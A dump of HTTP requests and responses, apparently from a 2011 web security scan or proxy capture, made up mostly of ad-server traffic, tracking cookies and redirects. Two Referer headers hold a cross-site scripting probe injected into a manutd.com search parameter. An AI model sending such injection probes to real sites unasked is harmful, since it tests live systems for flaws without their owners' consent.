HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:50:07 GMT Content-Length: 8096 Connection: close Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7472 Set-Cookie: id=ca5b4d83c000017||t=1317599554|et=730|cs=002213fd4884e3bed7d9e725fe; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:52:34 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:52:34 GMT Date: Sun, 02 Oct 2011 23:52:34 GMT Expires: Sun, 02 Oct 2011 23:52:34 GMT Cache-Control: private
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... <!-- Code auto-generated on Thu Sep 01 05:06:56 EDT 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... elPlul2FjIRBt55OzszqIl4HB_f_cVx__w5KOrCHGPk2bNTDMNo20zLlWs9JwCTkC5BZyxfF4BF-D5wA90U0FEcwAAAA%3D%3D%26dst%3Dhttp%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_ZAP"><img src="http://s0.2mdn.net/2502400/LloydsTSB_PIA_Direct_728x90.gif" width="728" height="90" border="0" alt="Advertisement" galleryimg="no"></a> ...[SNIP]...
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7661 Set-Cookie: id=c28c1d83c000039||t=1317600006|et=730|cs=002213fd48e65c670a029fff3e; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:06 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:06 GMT Date: Mon, 03 Oct 2011 00:00:06 GMT Expires: Mon, 03 Oct 2011 00:00:06 GMT Cache-Control: private
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Wed Sep 21 16:47:44 EDT 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... 74783%26migRandom%3D7648338%26migTrackFmtExt%3Dclient%3Bio%3Bad%3Bcrtv%26migUnencodedDest%3Dhttp%3A//www.directv.com/DTVAPP/new_customer/base_packages.jsp%3FCMP%3DBAC|5912738|902003|72099485|44174783"><img src="http://s0.2mdn.net/2590120/DTV-171_best-stackcount_nat_300x250_R2.gif" width="300" height="250" border="0" alt="Advertisement" galleryimg="no"></a></noscript><script type='text/javascript' language='javascript' src='http://cdn.doubleverify.com/script277.js?agnc=900745&cmp=5912738&crt=&crtname=&adnet=&dvtagver=3.3.1346.2176&adsrv=1&plc=72099485&advid=2590120&sid=902003&adid='></script><img src="http://t.mookie1.com/t/v1/imp?migAgencyId=235&migSource=adsrv2&migTrackDataExt=2590120;72099485;246929944;44174783&migRandom=7648338&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" /> </body> ...[SNIP]...
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 1266 Date: Mon, 03 Oct 2011 00:14:33 GMT
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/ ...[SNIP]... 4772,6472,6474,6510,6974,8829,9080,9119,9844,9845,9846,11161,12194,12196,12728,12736,12804%26Redirect%3dhttp%3a%2f%2fleisure.travelocity.com/Promotions/0%2C%2CTRAVELOCITY|5850|airfare_main|%2C00.html"><img src="http://s0.2mdn.net/viewad/2784362/B6_FirstBags_160x600.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 491 Date: Sun, 02 Oct 2011 23:50:08 GMT
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b94/0/0/%2a/e;234516816;0-0;0;24869226;3454-728/90;41773615/41791402/1;u=,cm-30313306848_1317599407,,soccer,ax.;~okv=;net=cm;u=,cm-30313306848_1317599407,,soccer,ax.;;sz=728x90;net=cm;env=ifr;ord1=879803;dcopt=ist;cmw=owl;contx=soccer;an=;dc=s;btg=;~aopt=2/0/ec/0;~sscs=%3fhttp://fightglobalwarming.com"><img src="http://s0.2mdn.net/viewad/2167886/728x90.GIF" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 493 Date: Sun, 02 Oct 2011 23:51:34 GMT
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b94/0/0/%2a/u;234516818;0-0;0;24869226;4307-300/250;41773664/41791451/1;u=,cm-30120266127_1317599407,,soccer,ax.;~okv=;net=cm;u=,cm-30120266127_1317599407,,soccer,ax.;;sz=300x250;net=cm;env=ifr;ord1=63589;dcopt=ist;cmw=owl;contx=soccer;an=;dc=s;btg=;~aopt=2/0/ec/0;~sscs=%3fhttp://fightglobalwarming.com"><img src="http://s0.2mdn.net/viewad/2167886/300x250.GIF" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 245 Date: Sun, 02 Oct 2011 23:52:13 GMT
document.write('<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3b94/0/0/%2a/v;44306;0-0;0;42319734;28932-970/40;0/0/0;;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /addyn%7C3.0%7C327%7C2812308%7C0%7C170%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599889542 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Home Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18961
GET /addyn%7C3.0%7C327%7C2812309%7C0%7C1%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599329835 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Home/0,,12306,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18902
GET /addyn%7C3.0%7C327%7C2812326%7C0%7C1%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599377532 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Players/0,,12306,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18902
GET /addyn%7C3.0%7C327%7C2816967%7C0%7C168%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599353462 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 475
GET /addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick= HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/en.aspx Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19421
GET /addyn%7C3.0%7C999%7C3106021%7C0%7C168%7CADTECH;cookie=info;loc=100;target=_blank;key=key1+key2+key3+key4;grp=578;misc=1317599931265 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/en/Club/Sponsors.aspx?sponsorid={F745DA14-CB5E-4A81-816A-8DB410E47A75} Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19174
GET /addyn%7C3.0%7C999%7C3173523%7C0%7C477%7CADTECH;cookie=info;loc=100;target=_blank;key=key1+key2+key3+key4;grp=261;misc=1317599777599 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 487
GET /addyn|3.0|512|2042949|0|2384|ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick= HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19421
HTTP/1.1 302 Moved Temporarily Server: GlassFish v3 CW-Server: cw-app605 Cache-Control: no-cache, no-store Set-Cookie: V=PpAVCxNh2PJr99f871d6edb7aea19dd0bf8; Domain=.contextweb.com; Expires=Wed, 26-Sep-2012 23:50:17 GMT; Path=/ Set-Cookie: pb_rtb_ev="1:537085.439524AE8C6B634E021F5F7802166020.0|535461.2925993182975414771.0|535039.NPgmRuqc1g7o5ImOP5HZYnndqUL92n1F.0|530739.99f871d6ab8391d98e386b3c.0|538569.6c3113bb-f725-48c4-b3a2-8b266db2aca9.0|534301.d1b27788-0a91-4596-9a96-e9dad20b3180.0|535495.b6ae888c-d95b-11e0-b096-0025900e0834.0|531292.OO-00000000000000000.0|537583.f9bdca69-e609-4297-9145-48ea56a0756c.0"; Version=1; Domain=.contextweb.com; Max-Age=31536000; Expires=Mon, 01-Oct-2012 23:50:17 GMT; Path=/ Location: http://m.xp1.ru4.com/meta?_o=179638&_t=dm&ssv_p=cw&ssv_u=OO-00000000000000000 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Content-Length: 239 Date: Sun, 02 Oct 2011 23:50:17 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
<html> <head><title>Document moved</title></head> <body><h1>Document moved</h1> This document has moved <a href="http://m.xp1.ru4.com/meta?_o=179638&_t=dm&ssv_p=cw&ssv_u=OO-00000000000000000">here</a> ...[SNIP]...
<html> <head><title>Document moved</title></head> <body><h1>Document moved</h1> This document has moved <a href="http://b.scorecardresearch.com/p?c1=8&c2=2101&c3=1234567891234567891&c15=&cv=2.0&cj=1">here</a> ...[SNIP]...
<html> <head><title>Document moved</title></head> <body><h1>Document moved</h1> This document has moved <a href="http://www.googleadservices.com/pagead/conversion/1030885431/?label=_52rCMf9pAIQt6DI6wM&amp;guid=ON&amp;script=0">here</a> ...[SNIP]...
<html> <head><title>Document moved</title></head> <body><h1>Document moved</h1> This document has moved <a href="http://clk.atdmt.com/go/352348532/direct;ai.209087168;ct.1/01">here</a>.<p> </body> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://g-pixel.invitemedia.com/gmatcher?id=E1&redirectURL=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fid%3D1423484%26id%3D1423481%26id%3D1423480%26id%3D1423483%26id%3D1423482%26t%3D2">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://seg.sharethis.com/adxmapping.php?stid=i-048AA00A35CF5E4EC53E553302EE710A&google_gid=CAESENMwAp9y838qvs4mxLt4ILs&google_cver=1">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&google_error=1">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://g-pixel.invitemedia.com/gmatcher?id=E1&redirectURL=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fid%3D1423476%26id%3D1423478%26id%3D1423475%26id%3D1423477%26id%3D1423479%26t%3D2">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://gcm.chango.com/collector/relator?id=E1&partnerId=&referrerURL=&token=b6ae888c-d95b-11e0-b096-0025900e0834">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://g-pixel.invitemedia.com/gmatcher?id=E1">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://g-pixel.invitemedia.com/gmatcher?id=CAESEDEkmOR_JA2g3tPQAqL09Zs&cver=1">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://m.xp1.ru4.com/um?_r=1&_o=62795&_i=52786&_u=E1&_r=1">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://g-pixel.invitemedia.com/gmatcher?id=CAESEAxxFW9mtGU6p1AMb23X4HM&cver=1&redirectURL=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fid%3D1423484%26id%3D1423481%26id%3D1423480%26id%3D1423483%26id%3D1423482%26t%3D2">here</A> ...[SNIP]...
HTTP/1.1 302 Found Date: Sun, 02 Oct 2011 23:53:07 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://r.turn.com/r/cms/id/0/ddc/1/pid/43/uid/?xid=u02DzKG_.KFBo5S2yyqljPCE Cache-Control: private Connection: close Content-Type: text/plain; charset=utf-8 Content-Length: 792
HTTP/1.1 302 Found Date: Sun, 02 Oct 2011 23:53:07 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PU ...[SNIP]... n.com/r/cms/id/0/ddc/1/pid/43/uid/?xid=u02DzKG_.KFBo5S2yyqljPCE Cache-Control: private Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8
The document has moved <A HREF="http://r.turn.com/r/cms/id/0/ddc/1/pid/43/uid/?xid=u02DzKG_.KFBo5S2yyqljPCE">here</A> ...[SNIP]...
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:59:19 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=6f699005174db05207a17138d8473dc0; expires=Mon, 01-Oct-2012 23:59:19 GMT; path=/ Content-Length: 2698 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'> <head> <ti ...[SNIP]... <!-- BEGIN STANDARD TAG - 160 x 600 - ROS: Run-of-site - DO NOT MODIFY --> <IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=160 HEIGHT=600 SRC="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=160x600§ion=2126909"></IFRAME> ...[SNIP]...
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:59:58 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=6f699005174db05207a17138d8473dc0; expires=Mon, 01-Oct-2012 23:59:58 GMT; path=/ Content-Length: 3032 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'> <head> <ti ...[SNIP]... <!-- BEGIN STANDARD TAG - 300 x 250 - ROS: Run-of-site - DO NOT MODIFY --> <IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=300 HEIGHT=250 SRC="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=300x250§ion=2126909"></IFRAME> ...[SNIP]...
GET /afr.php?refresh=40&zoneid=6511&cb=INSERT_RANDOM_NUMBER_HERE HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OXRB=28_4196; OAID=6f699005174db05207a17138d8473dc0
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:52:12 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=6f699005174db05207a17138d8473dc071952f762daf6c74f0896932; expires=Mon, 01-Oct-2012 23:52:12 GMT; path=/ Content-Length: 2691 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'> <head> <ti ...[SNIP]... <!-- BEGIN STANDARD TAG - 728 x 90 - ROS: Run-of-site - DO NOT MODIFY --> <IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=728 HEIGHT=90 SRC="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90§ion=2126909"></IFRAME> ...[SNIP]...
GET /pagead/ads?client=ca-pub-0666653885873574&output=html&h=250&slotname=7372794801&w=300&ea=0&flash=10.3.183&url=http%3A%2F%2Fads.pubmatic.com%2Fhosteddefaulttags%2F26620%2F26621%2F21556%2F559%2Fadtag.html&dt=1317606797018&bpp=7&shv=r20110921&jsv=r20110914&correlator=1317606797027&frm=8&adk=4114293891&ga_vid=1069027809.1317606797&ga_sid=1317606797&ga_hid=1887245699&ga_fc=0&u_tz=-300&u_his=8&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=23&u_nmime=106&dff=times%20new%20roman&dfs=16&adx=0&ady=0&biw=-12245933&bih=-12245933&ifk=2019610879&loc=http%3A%2F%2Fads.pubmatic.com%2FHostedDefaultTags%2F26620%2F26621%2F21556%2F559%2Fadtag.html&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=12 HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT
Response
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 03 Oct 2011 01:53:13 GMT Server: cafe Cache-Control: private Content-Length: 1263 X-XSS-Protection: 1; mode=block
<html><head></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>var viewReq = new Array();function vu(u) {var i=new Image();i.src=u.replace("&","&");viewReq.push(i); ...[SNIP]... < - DO NOT MODIFY --> <SCRIPT SRC="http://ad.dedicatedmedia.com/ttj?id=562058&cb=592559840&pubclick=http://adclick.g.doubleclick.net/aclk?sa=l&ai=ByqSqiRWJTs3sEc2oqwGP1s3TDPWyn_oBtZyU8CPNl96RbgAQARgBIAA4AVCAx-HEBGDJ1vqGyKOgGYIBF2NhLXB1Yi0wNjY2NjUzODg1ODczNTc0oAGZgO_qA7IBEGFkcy5wdWJtYXRpYy5jb226AQozMDB4MjUwX2FzyAEJ2gFKaHR0cDovL2Fkcy5wdWJtYXRpYy5jb20vaG9zdGVkZGVmYXVsdHRhZ3MvMjY2MjAvMjY2MjEvMjE1NTYvNTU5L2FkdGFnLmh0bWyYAvoBwAIEyALvpLwLqAMB9QMAAABE&num=1&sig=AOD64_21y1nu5mWiQMOEeNytMeOPMZRuvg&client=ca-pub-0666653885873574&adurl=" TYPE="text/javascript"></SCRIPT> ...[SNIP]...
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 03 Oct 2011 01:53:23 GMT Server: cafe Cache-Control: private Content-Length: 1264 X-XSS-Protection: 1; mode=block
<html><head></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>var viewReq = new Array();function vu(u) {var i=new Image();i.src=u.replace("&","&");viewReq.push(i); ...[SNIP]... < - DO NOT MODIFY --> <SCRIPT SRC="http://ad.dedicatedmedia.com/ttj?id=562058&cb=1155309149&pubclick=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BjBjYkxWJTt3uAYqE2gXXz8mJCPWyn_oBtZyU8CPNl96RbgAQARgBIAA4AVCAx-HEBGDJ1vqGyKOgGYIBF2NhLXB1Yi0wNjY2NjUzODg1ODczNTc0oAGZgO_qA7IBEGFkcy5wdWJtYXRpYy5jb226AQozMDB4MjUwX2FzyAEJ2gFKaHR0cDovL2Fkcy5wdWJtYXRpYy5jb20vaG9zdGVkZGVmYXVsdHRhZ3MvMjY2MjAvMjY2MjEvMjE1NTYvNTU5L2FkdGFnLmh0bWyYAvoBwAIEyALvpLwLqAMB9QMAAABE&num=1&sig=AOD64_0nT7x-GHaafkiuKILnL9QPfI4YQQ&client=ca-pub-0666653885873574&adurl=" TYPE="text/javascript"></SCRIPT> ...[SNIP]...
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 03 Oct 2011 00:35:11 GMT Server: cafe Cache-Control: private Content-Length: 14035 X-XSS-Protection: 1; mode=block
GET /pagead/ads?client=ca-pub-8213526369189339&output=html&h=280&slotname=9968660253&w=336&ea=0&flash=10.3.183&url=http%3A%2F%2Fwww.trip.com%2Fhotels.html&dt=1317602228730&bpp=7&shv=r20110921&jsv=r20110914&correlator=1317602228802&frm=7&adk=3345861870&ga_vid=2049523975.1317602099&ga_sid=1317602099&ga_hid=270757924&ga_fc=1&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=23&u_nmime=106&dff=times%20new%20roman&dfs=16&adx=669&ady=257&biw=1058&bih=906&ifk=3906417519&prodhost=googleads.g.doubleclick.net&fu=4&ifi=1&dtd=75 HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT
Response
